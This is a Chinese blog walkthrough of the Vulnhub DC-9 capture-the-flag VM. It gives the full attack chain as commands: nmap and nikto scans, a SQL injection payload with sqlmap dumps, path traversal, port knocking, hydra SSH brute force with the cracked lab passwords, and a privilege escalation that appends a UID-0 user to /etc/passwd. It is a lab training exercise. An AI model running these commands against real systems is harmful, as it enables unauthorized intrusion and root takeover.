Vulnhub实战-DC9

前言

本次的实验靶场是Vulnhub上面的DC-9,其中的渗透测试过程比较多,最终的目的是要找到其中的flag。

一、信息收集

  1. 对目标网络进行扫描

    复制代码
    arp-scan -l
  2. 对目标进行端口扫描

    复制代码
    nmap -sC -sV -oA dc-9 192.168.1.131
  3. 扫描出目标开放了22和80两个端口,访问目标的80端口。

  4. 对目标进行目录扫描与分析。

    复制代码
    nikto -host 192.168.1.134
  5. 我访问了一下includes/目录,都是一些空文件,没什么特别的文件,但是我在search的菜单选项下的界面中试了一下SQL注入,发现其存在SQL注入,并且网页指向results.php的界面。

二、漏洞利用

(1)SQL注入

  1. 既然在search选项下的界面存在SQL注入,那就进行SQL注入

    复制代码
    'or 1=1 #
    • 之前写成result.php了,难怪sqlmap无法扫描出来

    • 如果是GET型SQL注入,那么直接在url中输入参数即可,而如果是POST提交,则需要指定--data "提交的数据"才行。

  2. 既然存在SQL注入,我们就是用sqlmap去扫描一下。

    复制代码
    sqlmap -u "http://192.168.1.134/result.php" --data "search=1" --dbs
  3. 尝试对users这个库下手,因为要登陆一些网站后台需要用户名和密码,而这个库可能就有,先获取其中的所有表名。

    复制代码
    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D users --tables
  4. 有一张表,查看其具体的信息。

    复制代码
    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D users -T UserDetails --dump

    可以将username和password做成两个字典,我分别做成了user-dict和pass-dict两个字典。

  5. 使用wfuzz工具测试一下,其中大多数的行数都相同,我于是过滤了一下,没有发现特殊的Payload参数。

    复制代码
    wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.1.134/manage.php?username=FUZZ&password=FUZZ" 
  6. 只能试一下其他的数据库了,之前使用sqlmap扫描到目标还有一个Staff的数据库,扫描一下看其中还有哪些表。

    复制代码
    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D Staff --table
  7. 扫出来两张表,第一张表和我在目标网页的Display All Recodes菜单选项下的界面的内容差不多,没什么特别的,而第二张Users表有些东西,使用sqlmap扫描之后,里面有一个可以解密的哈希值。

    之前的users是一个数据库 ,这里的Users是一张表

    复制代码
    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D Staff -T Users --dump
  8. 我使用了第一个默认的字典去破解,结果破解出一个用户名Admin,密码是transorbital1。

  9. 尝试使用获得的用户名和密码去manage选项的页面进行登录,结果成功登录,页面提示我已登录成功,并且多了一个Log Out的选项,之前没有,还有一条"File does not exist"的提示语,可能存在文件包含漏洞。

(2)文件包含漏洞

  1. 目标可能存在文件包含漏洞,但是我不知道传递文件的参数,于是我仍然使用wfuzz工具去试一下。

    复制代码
    wfuzz -b "PHPSESSID=k4vtn0fuo7d4bauibn1iqpp6gf" -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.134/manage.php?FUZZ=index.php
    • 我将参数-w中的字母写成了大写,导致后面报错。

    • 遇到Kali无法连接阿里云的源,修改了DNS之后重启网络就好了,在/etc/apt/sources.list文件里面进行修改。

  2. 扫描出一个与众不同的参数------file,传入file=index.php的参数值发现没什么用,我于是尝试了一下../../../../../etc/passwd。

    我把--hw写成了-hw,少了一个"-",导致出错。

(3)爆破SSH密码

  1. 既然我已经获取了目标操作系统下的/etc/passwd文件,其中有些和users中的重复,我决定使用hydra对SSH账号密码进行暴力破解,结果显示不允许连接,试了多次也不行,目标可能做了一些限制。

    复制代码
    hydra -L user-dict -P pass-dict 192.168.1.134 ssh
  2. 后来得知有一些方法可以用来保护ssh的22端口,例如开启knockd服务,这要求我们必须先访问一些其他的端口,然后才能访问22端口,这个文件是/etc目录下的knockd.conf文件中,当我去访问这个文件时,果然如此,必须依次访问7489、8475和9842三个端口才能开放22端口,之前扫描出来的22端口是处于被保护状态的,无法直接访问。

  3. 使用nmap依次对三个端口进行访问。

  4. 访问按以上三个端口之后,再访问22端口,成功访问。

    如果访问了也打不开,可以试一下如下命令:

    复制代码
    for x in 7489 8475 9842 22 ;do nc 192.168.1.134 $x;done
  5. 之后继续使用hydra进行暴力破解,爆破出来两个用户名和密码

    复制代码
    hydra -L user-dict -P pass-dict 192.168.1.134 ssh

    之后我又试了多次,又爆破出来一个用户名和密码。

    USERNAME PASSWROD
    chandlerb UrAG0D!
    joeyt Passw0rd
    janitor Ilovepeepee

    我之前一直扫不出来,就使用nmap把7469、8475、9842、22这四个端口++逆着访问了一遍++ ,再用hydra爆破,还是不行,后来又++顺着访问了一遍++,就可以了。

  6. 接下来要去验证这些用户名和密码是否能够登录,结果全部登录成功。

  7. 既然我已经登陆了目标系统,就要去查看系统中的内容了。

  8. 我是用ls -a查找敏感文件时,只有janitor用户下有一个其他两个用户没有的东西,不确定是目录还是文件,使用file命令查看了一下,发现是一个目录,里面还有一个passwords-found-on-post-it-notes.txt的文件。

  9. 这时出现了三个新密码,前面的三个在数据库中看到过。

  10. 将这三个新密码加入到之前我做的密码字典pass-dict中,我将其改名为pass-dict1,原来的文件备份了,再次进行爆破,爆破出来一个新用户,试了一下密码,可以登录成功。

    USERNAME PASSWROD
    chandlerb UrAG0D!
    joeyt Passw0rd
    janitor Ilovepeepee
    fredf B4-Tru3-001

三、权限提升

  1. 已经拿到一些用户名和密码并且已经成功登陆了,接下来是提权的时候了。

提权的思路:

  1. 找敏感文件:使用ls -a 或者find / *之类的命令

  2. 查看可以用root权限去执行的程序:使用命令sudo -l:

  3. 历史命令:使用history命令查看一些历史命令

  4. 内核漏洞:使用uname -a去查看内核信息,然后再去查询其是否存在过历史漏洞,以方便我们提权

  1. 在所有已经登录的用户下输入ls -a,没有什么特别的,除了上面的janitor用户,接下来试一下sudo -l命令,结果在fredf这个用户中发现了一些特殊的信息,有一个具有root执行权限的程序test。

  2. 无法直接访问,跳转到其路径之后才可以访问,发现是一个Python文件。

  3. 直接执行是没用的,有一个提示,是关于这个Python文件读取和追加的,我于是去找了一下这个test.py文件所在的目录。

  4. 分别查看一下。

  5. 既然可以读取追加,哪么就可以尝试添加一个设计好的用户,使其具有root权限,然后试着将其追加到一些特殊文件中,首先使用openssl生成一个用户名和密码。

    复制代码
    openssl passwd -1 -salt admin 123456
  6. 追加到其他文件可能没有权限,只好追加到/tmp目录中,在/tmp/passwd中。

    复制代码
    echo 'admin03:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
  7. 成功了,这时可以使用test.py读取/tmp/passwd并且将其追加到/etc/passwd中。

    复制代码
    sudo ./test /tmp/passwd /etc/passwd


    之前的第一个admin用户的shell程序设置出错了,少了一个/,第二个admin和第一个用户名重复了,这时我将添加了一个admin03的用户,其权限为root权限。

  8. 追加成功,切换至具有root权限的admin03用户。

  9. 转到root目录下,查看有没有关于flag的文件,通常情况下,这些文件都在root目录下。查看了一下,果然在这里。

  10. 使用cat命令查看一下,果然如此,拿到了flag,完结散花。

相关推荐
茶卡盐佑星_2 分钟前
说说你对es6中promise的理解?
前端·ecmascript·es6
爱上语文3 分钟前
Java LeetCode每日一题
java·开发语言·leetcode
疯狂的大狗11 分钟前
docker进入正在运行的容器,exit后的比较
运维·docker·容器
XY.散人13 分钟前
初识Linux · 文件(1)
linux·运维·服务器
长天一色26 分钟前
【Docker从入门到进阶】01.介绍 & 02.基础使用
运维·docker·容器
bug菌26 分钟前
Java GUI编程进阶:多线程与并发处理的实战指南
java·后端·java ee
伊玛目的门徒26 分钟前
docker 搭建minimalist-web-notepad
运维·docker·notepad
Манго нектар30 分钟前
JavaScript for循环语句
开发语言·前端·javascript
蒲公英100137 分钟前
vue3学习:axios输入城市名称查询该城市天气
前端·vue.js·学习
程序猿小D39 分钟前
第二百六十九节 JPA教程 - JPA查询OrderBy两个属性示例
java·开发语言·数据库·windows·jpa